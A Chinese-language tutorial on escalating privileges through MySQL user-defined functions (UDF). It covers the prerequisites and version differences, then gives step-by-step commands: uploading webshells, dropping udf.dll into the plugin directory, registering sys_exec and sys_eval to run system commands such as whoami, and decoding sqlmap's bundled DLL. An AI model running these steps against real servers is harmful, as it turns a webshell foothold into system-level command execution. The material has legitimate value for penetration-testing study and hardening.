什么是udf提权?
MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf。
它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了!
当我们拿到webshell后,由于中间件,例如,apache使用了较低的权限,可能仅仅是个网络服务的权限,然后我们就需要进行提权,而有时候目标机器补丁较全,各种系统提权姿势都失效的情况下,可以将目光转义到数据库服务上,在Windows下,在较低版本的mysql(<5.6)安装时默认是系统权限。还有就是很多人图方便,例如使用了各种集成环境,未做安全设置,直接用高权限账户进行站点配置,就可以考虑用UDF进行提权。
dll文件的好处?
1.扩展了应用程序的特性;
2.可以用许多种编程语言来编写;
3.简化了软件项目的管理;
4.有助于节省内存;
5.有助于资源共享;
什么是udf库?
UDF表示的是MySQL中的用户自定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。我们将使用“lib_mysqludf_sys_64.dll”DLL库
不同版本的区别:
MySql < 4.1:
允许用户将任何的DLL文件里面的函数注册到MySql里。
MySql 4.1-5.0:
对用来注册的DLL文件的位置进行了限制,通常我们选择 UDF导出到系统目录
C:/windows/system32/来跳过限制。
MySql >=5.1:
这些DLL只能被放在MySql的plugin目录下。
0x01 提权的前提
1. 必须是root权限(主要是得创建和抛弃自定义函数)
2. secure_file_priv=(未写路径)
3. 将udf.dll文件上传到MySQL的plugin目录下(这里以MySQL>=5.1为例)
0x02 开始提权
这里以本地为例
1.我们这里上传了一句话,然后用菜刀连接上
先判断数据库版本
select version();
符合MySql>=5.1的情况。
2. 查看plugin目录名称:
show variables like ‘plugin%‘;
3. 查询目录的绝对路径:
select @@plugin_dir;
4. 上传phpda.php,然后访问这个马
5. 上传udf.dll到 E:\phpStudy\PHPTutorial\MySQL\lib\plugin\下
注意:这里没有plugin这个文件夹,我们必须手动创建(直接在大马上新建就ok)
6. 我们主要利用udf.dll中的sys_exec(),sys_eval()等函数来进行命令执行
该函数将在“系统”函数内传递参数’args-> args [0]‘。你可以使用它在目标机器上执行系统命令。
安装:
create function sys_exec returns string soname "udf.dll";
验证:
select * from mysql.func where name = ‘sys_exec‘;
然后进行命令执行
select sys_exec("whoami");
这里用sys_exec()函数好像不可以,我们换个函数
sys_eval
该函数将执行系统命令并在屏幕上通过标准输出显示。
安装:
create function sys_eval returns string soname ‘udf.dll‘;
验证:
select * from mysql.func where name = ‘sys_eval‘;
然后进行命令执行
select sys_eval("whoami");
成功执行
删除:
drop function sys_eval;
ps: sqlmap下就有udf.dll文件,提取出来就行了
sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py
解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件
0x03 结语
最后,总的来说,UDF提权就是利用MySql允许扩展自定义函数的特性,将webshell的权限变成和mysql运行权限一致,所以就有个前提,mysql得是以高权限进行运行的,至少得比中间件权限高,才有用这个方法进行提权的必要。